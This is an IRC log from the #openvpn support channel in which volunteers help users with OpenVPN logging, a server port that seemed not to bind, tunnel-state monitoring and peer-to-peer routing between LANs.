00:11 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 244 seconds]
00:12 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
00:15 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
00:26 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
00:29 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
00:33 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
00:40 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
00:45 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
00:54 -!- clu5ter [~staff@stealth.server.cybscripts.com] has joined #openvpn
00:54 -!- clu5ter [~staff@stealth.server.cybscripts.com] has quit [Changing host]
00:54 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
00:59 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
01:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:01 -!- GeekFreak [~simpleirc@1.145.32.10] has joined #openvpn
01:01 < GeekFreak> hey guys
01:02 < GeekFreak> !goal
01:02 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
01:03 -!- GeekFreak [~simpleirc@1.145.32.10] has left #openvpn []
01:06 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
01:26 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
01:26 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:34 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
01:39 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
01:40 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:43 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
01:56 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
01:59 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
02:01 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:08 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
02:13 -!- mattock_afk is now known as mattock
02:13 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
02:16 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
02:20 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
02:36 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 272 seconds]
02:37 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
02:39 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
02:39 < linuxthefish> hi, if i have a webserver running on a VPN how do i access it without vpn?
02:40 < linuxthefish> webserver running on vpn client
02:44 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
02:51 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
03:04 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
03:11 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
03:12 < pppingme> linuxthefish vpn has nothign to do with it, its all about routing and firewalls between you and the web server..  vpn's and tunnels change that routing, but thats not the direct point..
03:17 < pppingme> so the question is, without the vpn, do you have a path/route to the web server?
03:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:26 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-fgvheylrdwvxdoti] has quit [Ping timeout: 260 seconds]
03:26 -!- b00gz___ [uid6869@gateway/web/irccloud.com/x-soornqtzhtfyossk] has joined #openvpn
03:28 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
03:40 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
03:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
04:04 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
04:04 -!- schnitzl [~schnitzl@dslb-178-007-173-090.pools.arcor-ip.net] has joined #openvpn
04:04 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 240 seconds]
04:09 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:32 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
04:34 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:35 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
04:36 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:36 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
04:39 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:39 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
04:40 -!- schnitzl [~schnitzl@dslb-178-007-173-090.pools.arcor-ip.net] has quit [Quit: nope]
04:44 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
04:59 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
05:01 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:06 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:17 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
05:18 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:19 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has joined #openvpn
05:23 -!- kubbing [~kubbing@static-84-242-120-52.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
05:26 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has joined #openvpn
05:36 -!- schnitzl [~schnitzl@dslb-178-007-173-090.pools.arcor-ip.net] has joined #openvpn
05:41 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
06:00 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
06:03 -!- caelian1 [~caelian@ovh.caelian.net] has joined #openvpn
06:06 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:07 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has joined #openvpn
06:12 -!- kubbing [~kubbing@ip-94-113-63-41.net.upcbroadband.cz] has quit [Ping timeout: 268 seconds]
06:13 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
06:13 -!- ccha2 [~ccha@unaffiliated/ccha] has joined #openvpn
06:14 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
06:15 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:17 -!- dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
06:17 < linuxthefish> pppingme ?
06:18 < linuxthefish> i have web server running on openvpn client 10.8.0.8
06:20 -!- mete- [~mete@84.200.73.159] has joined #openvpn
06:21 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
06:21 -!- Netsplit *.net <-> *.split quits: mcp, zedsix, Freeaqingme, mikkel, mete, ccha, sitaktif, Corey, dropje, klaxa
06:21 -!- emcepe is now known as mcp
06:21 < linuxthefish> 07:20 < renihs_> thats more of question for openvpn, but you want to connect to the vpn client from the vpn server? via rdp?
06:22 < linuxthefish> -___-
06:22 -!- Netsplit over, joins: klaxa
06:23 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-maoldfisgzomtxxy] has quit [Ping timeout: 245 seconds]
06:25 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-opjukiycnzofhudy] has quit [Ping timeout: 245 seconds]
06:26 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-nzvmsiwawkxmnuvh] has joined #openvpn
06:26 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-cthzqysixqhbsjmd] has joined #openvpn
06:26 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
06:26 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
06:29 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
06:35 -!- Corey [~Corey@freenode/staff/corey] has quit [Read error: Connection reset by peer]
06:36 -!- Corey [~Corey@freenode/staff/corey] has joined #openvpn
06:49 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:56 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:56 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
06:58 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:59 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
07:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 244 seconds]
07:01 -!- kubbing_ [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
07:01 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
07:03 -!- schnitzl [~schnitzl@dslb-178-007-173-090.pools.arcor-ip.net] has quit [Quit: nope]
07:03 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds]
07:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
07:08 -!- schnitzl [~schnitzl@dslb-178-007-173-090.pools.arcor-ip.net] has joined #openvpn
07:09 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
07:09 -!- mode/#openvpn [+o plaisthos] by ChanServ
07:09 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:16 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
07:17 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.0.5]
07:19 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds]
07:37 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
07:39 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 240 seconds]
07:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
07:41 -!- mode/#openvpn [+o plaisthos] by ChanServ
07:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds]
07:51 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 245 seconds]
07:52 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
07:54 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
07:54 -!- mode/#openvpn [+o plaisthos] by ChanServ
07:57 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
07:59 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:00 -!- cjross is now known as CJ_
08:00 -!- schnitzl [~schnitzl@dslb-178-007-173-090.pools.arcor-ip.net] has quit [Quit: nope]
08:13 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 265 seconds]
08:14 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:14 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
08:17 -!- realtime [~realtime@unaffiliated/realtime] has quit [Read error: Connection reset by peer]
08:31 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 265 seconds]
08:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:45 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
08:46 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:54 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 265 seconds]
08:54 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:58 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 272 seconds]
09:00 < wsky> heh macports openvpn works way better than tunnelblick
09:00 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
09:00 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
09:03 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 265 seconds]
09:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:14 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
09:18 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 252 seconds]
09:21 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
09:21 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
09:27 -!- toothe [~mongolian@unaffiliated/toothe] has joined #openvpn
09:27 <@krzee> tunnelblick works fine here
09:27 < toothe> I don't know what happened, but my VPN suddenly stopped working and no longer binds to port 1194
09:28 < toothe> when i start the service, I do not see any error messages.
09:29 <@krzee> what os
09:29 < toothe> Linux.
09:29 <@krzee> lets see the log
09:29 < toothe> and I didn't make any changes that should cause this.
09:29 < toothe> so, I didn't enable logging, but I can now.
09:29 <@krzee> !logfile
09:29 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
09:29 -!- defswork [~andy@141.0.50.105] has quit [Remote host closed the connection]
09:31 < toothe> I don't see anything that resembles an error message...
09:32 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:32 < toothe> can I give you my openvpn.conf file? its fairly simple.
09:32 < toothe> or rather, server.conf
09:33 <@krzee> did i ask for it?
09:33 < toothe> No.
09:34 <@krzee> i wont care if you post it, but you should post what i asked for
09:34 < toothe> http://pastebin.com/VLpixVZ9
09:35 <@krzee> add verb 4 to your log
09:35 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
09:35 < toothe> sure.
09:35 <@krzee> err
09:35 <@krzee> to your config*
09:35 < toothe> config, i know what you mean :-)
09:35 <@krzee> =]
09:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
09:39 <@krzee> then post your new log
09:41 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
09:42 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
09:45 -!- gypsymauro [~colorioma@84.18.151.77] has left #openvpn []
09:45 < toothe> http://pastebin.com/N0qvFpdW
09:45 < toothe> Took me a little to get it, but there it is.
09:57 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
10:00 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
10:02 -!- u0m3 [~u0m3@109.96.191.201] has quit [Read error: Connection reset by peer]
10:02 -!- Denial [Denial@2.223.161.125] has joined #openvpn
10:08 -!- u0m3 [~u0m3@109.96.175.232] has joined #openvpn
10:09 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:10 < toothe> krzee: Any ideas? :-(
10:10 < toothe> i was flirting with the idea of just rebuilding the entire install.
10:12 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
10:12 < toothe> a little TO'd at this.
10:16 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
10:16 <@krzee> after you have that running, show me netstat -ln
10:16 <@krzee> in fact
10:16 <@krzee> netstat -ln |grep 1194
10:17 <@krzee> toothe, that way i dont see the other stuff ;]
10:22 -!- Runkle [~jmacdonal@li508-90.members.linode.com] has joined #openvpn
10:22 < Runkle> hi
10:25 < toothe> oh wait...its open...
10:27 < toothe> oh my gosh, you know there was no problem at all...
10:27 < toothe> I just put in a stupid line in my own client's configuration
10:27 < toothe> the server was fine all along.
10:27 <@krzee> there ya go =]
10:34 -!- Runkle [~jmacdonal@li508-90.members.linode.com] has left #openvpn []
10:36 < toothe> krzee: Thanks a lot.
10:37 <@krzee> np
10:39 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 265 seconds]
10:52 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:24 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
11:26 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
11:35 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
11:47 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
11:49 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
11:57 -!- gumonshoe [~gumonshoe@162.209.1.130] has joined #openvpn
11:57 < gumonshoe> !welcome
11:57 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
11:57 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:59 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Read error: Operation timed out]
12:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:16 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:32 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
12:37 -!- kubbing_ [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:40 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:47 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Quit: ZNC - http://znc.in]
12:47 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
12:47 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
12:48 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
12:50 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
12:50 -!- Devastator [~devas@186.214.110.97] has joined #openvpn
12:55 -!- GeekFreak [~GeekFreak@CPE-60-225-119-178.hhui4.ken.bigpond.net.au] has joined #openvpn
12:56 < GeekFreak> morning people
12:57 -!- GeekFreak [~GeekFreak@CPE-60-225-119-178.hhui4.ken.bigpond.net.au] has left #openvpn []
13:05 <@ecrist> krzee: ping
13:05 <@ecrist> http://imgur.com/a/fCxwu is worth the look.  Archived here for our enjoyment: http://www.secure-computing.net/files/sysadmin/
13:05 <@vpnHelper> Title: sysadmin trading cards - Imgur (at imgur.com)
13:06 <@krzee> lol
13:07 <@ecrist> link at will. ;)
13:07 <@krzee> security admin is lulz
13:08 <@ecrist> "No"
13:10 -!- kirin` [telex@gateway/shell/anapnea.net/x-nczsqnmcqwoovxkv] has joined #openvpn
13:11 < gumonshoe> Hello. I would like to monitor the status my vpn connection(s) and am using the management interface's 'state' to do this. I have been assuming that anything other than a "CONNECTED" state is an error, but occationally a tunnel will get stuck as reporting as being in the "AUTH" state even though the connection is working. Is this expected behavour?
13:12 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit []
13:25 -!- Roelke_ [~Roelke@hostserv.nl] has joined #openvpn
13:27 -!- Roelke_ [~Roelke@hostserv.nl] has quit [Remote host closed the connection]
13:28 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 245 seconds]
13:29 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
13:34 <+pekster> gumonshoe: You might be better off using hooks in --client-connect and --client-disconnect for this kind of thing, or perhaps the --status directive that you poll periodically
13:35 <+pekster> Perhaps take a look at some on-connect and on-disconnect logging examples I have for an idea of what you can do: https://github.com/QueuingKoala/openvpn-dynamic
13:35 <@vpnHelper> Title: QueuingKoala/openvpn-dynamic · GitHub (at github.com)
13:37 < gumonshoe> pekster: Is this because the management interface's 'state' command is known to be unreliable or because I am assuming it does something it is not supposed to do?
13:38 -!- AginLap [~AginLap@109.201.154.200] has joined #openvpn
13:46 <+pekster> I'm not that familiar with that command, but if you want to monitor/report on currently connected clients, use one of the following: 1) the --status file, 2) the `status` management command output 3) Same info as #2 can be found in the program log output when issuing a SIGUSR2 signal, or 4) --client-connect / --client-disconnect hooks
13:47 <+pekster> 'state' appears to be trying to parse the log history for some stats, which probably isn't what you really intended
13:47 <+pekster> Maybe if you're less-vauge about your !goal you'll get more specific suggestions
13:49 < gumonshoe> True. Amended goal: I would like to get a log file or command output to efficiently parse each minute so as to receive a boolean UP/DOWN status from openvpn.
13:51 <+pekster> Add `--status 60` to your config and some simple awk can show you if a client is in the list or not
13:51 <+pekster> This is on a server, yes?
13:51 < gumonshoe> Server and client. I monitor both sides.
13:52 <+pekster> If you want to know if "this" side is connected, consider using --route-up and --route-pre-down
13:53 -!- Devastator [~devas@186.214.110.97] has quit [Changing host]
13:53 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:53 <+pekster> Just  make sure you don't use --persist-tun when doing that (as that will avoid removing routes on restarts for clients)
13:53 < gumonshoe> pekster: We are using persist-tun
13:54 <+pekster> Then don't if you want to trip special scripts every time it disconnects
13:54 <+pekster> Or use --ping-exit instead of --ping-restart
13:55 <+pekster> Or maybe see --up-restart
13:55 <+pekster> Plenty of options in the scripts section of the manpage: see !scripts for links/details
13:55 <+pekster> It's really up to you to choose where you want to insert such logic
13:56 <+pekster> Scraping `state` output from management isn't what you want though
13:59 < gumonshoe> pekster: Thanks for the suggestions and I may end up using them, but are you saying "state isn't meant to do that" or "I don't know what state is for and I get that information in a different way"? I'm trying to understand if this is a bug with openvpn for which there are workarounds or if I'm just flat out doing it wrong and have misinterpreted what "state" is for.
14:01 <+pekster> It's scraping the log output and doing some state interpertation on it
14:02 <+pekster> Just read the help output, then stop using it unless you're willing to dig in the code to find out what it does (since much of the obscure management commands aren't documented properly, if at all)
14:02 <+pekster> So "yes, you've probably misunderstood what this is used for" and "no, I don't have enough time to donate to you to read the source code to figure out what it does"
14:03 < gumonshoe> pekster: Thanks very much for your help. That answers my questions. <3
14:03 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 244 seconds]
14:04 <+pekster> See ~src-tarball/doc/management-notes.txt for what docs do exist
14:05 <+pekster> The AUTH state is apparently (Client only) Authenticating with server." -- what that means in practice I coudln't tell you, though it might very well occur during regular TLS re-keys since that involves an authentication
14:05 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:05 <+pekster> This could very well block for multiple minutes if there is some issue re-keying, and openvpn normally handles this gracefully by allowing the expiring symmetric key to continue protecting the data channel
14:05 < gumonshoe> In my case it's been in that state for a week straight, despite the connection actually being up the entire time.
14:06 <+pekster> No clue then; could be a bug in whatever code tracks the state change, or the reporting of the "current OpenVPN state" values
14:07 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
14:13 < gumonshoe> pekster: I'll dig into it more and investigate your monitoring suggestions as alternatives to "state". Again, thanks for your help.
14:15 <+pekster> Yea, I'd suspect something is wrong if it's "always" in that state, but without digging it's tough to say why. You can open a bug if you'd like, but chances are it'll be considered pretty low priority (though this does sound a bit like a code issue somewhere)
14:15 <+pekster> We do accept well-written patches that fix issues though ;)
14:16 -!- magnulu [~magnulu@46.246.19.241] has joined #openvpn
14:18 < magnulu> !welcome
14:18 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:18 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:18 < magnulu> !goal
14:18 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:19 < magnulu> hello fellowers. I am not a native english speaker and I have a quite general question.. maybe even a couple
14:20 < Sembei> is still valid this configuration with openvpn 2 ? http://blog.wains.be/2008/06/07/routed-openvpn-between-two-subnets-behind-nat-gateways/
14:20 <@vpnHelper> Title: Routed OpenVPN between two subnets behind NAT gateways | Sébastien Wains (at blog.wains.be)
14:22 < magnulu> I am thinking of buying a vpn service (like mullvad) and set it up on my router using openvpn.. would I be able to combine it with a smartdns service to still be able to stream live tv from my own country? or is this question meant to be asked in another channel? :)
14:23 <+pekster> Sembei: As opposed to what, v1? That's a v2 config, although I merely skimmed the article. The official howto we support is at !howto
14:23 < Sembei> pekster: if you set remote you are acting as client right?
14:24 <+pekster> magnulu: We deal with openvpn, not providers here. This said, if the remote end is willing to route (and NAT, if you have RFC1918 addressing) for you, you're free to send whatever traffic you want across the link destined for the public Internet
14:24 <+pekster> Sembei: Right, or at least a "peer" (as opposed to a server that accepts connections from multiple clients)
14:25 < Sembei> so with that configuration (both clients with crossed routes) it will stablish connection ?
14:25 <+pekster> "crossed routes" ??
14:26 <+pekster> If you  just mean routes to the other peer's LAN across the link, then yes
14:26 < Sembei> only route and ifconfig
14:26 < Sembei> has swaped values
14:26 <+pekster> Right
14:27 < Sembei> so starting openvpn as client listens for incomming connections?
14:27 <+pekster> Right, which is a problem if that client wishes to send data somewhere but hasn't yeet received an inbound connection from the other peer
14:27 <+pekster> Thus in a p2p setup you normally have both ends using --remote, becuase there really is no "server", so to speak
14:28 < Sembei> ah ...
14:29 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:29 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
14:29 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
14:29 -!- gumonshoe [~gumonshoe@162.209.1.130] has quit [Quit: leaving]
14:29 < Sembei> and in connection client--> server, server can access machines of client network?
14:30 < Sembei> or just the client
14:30 <+pekster> Only if configured correctly. There's a flowchart here at !clientlan if you wnat that
14:30 < Sembei> and server --<
14:31 < Sembei> *server-->server is possible?
14:32 <+pekster> No, since a server (one that accepts multiple client connections) by definition listen, not connect
14:37 < Sembei> so if I have 1 computer that doesn't have vpn client can I make another computer in same lan a client act as gateway ?
14:38 <+pekster> You can run as many instances of openvpn as you want on a single system (I've put 1000 running at once before during some testing)
14:38 <+pekster> One instance cannot both be a client and a server, but 2 instances could be one of each
14:40 < Sembei> yes but for example lets say at work network 10.0.0.0 and at home 192.... to make all machines at home LAN connect through a single vpn connection is possible  ?
14:41 < Sembei> I mean one vpn client acting as router
14:41 <+pekster> Yes. See !clientlan as I said above
14:41 < Sembei> !clientlan
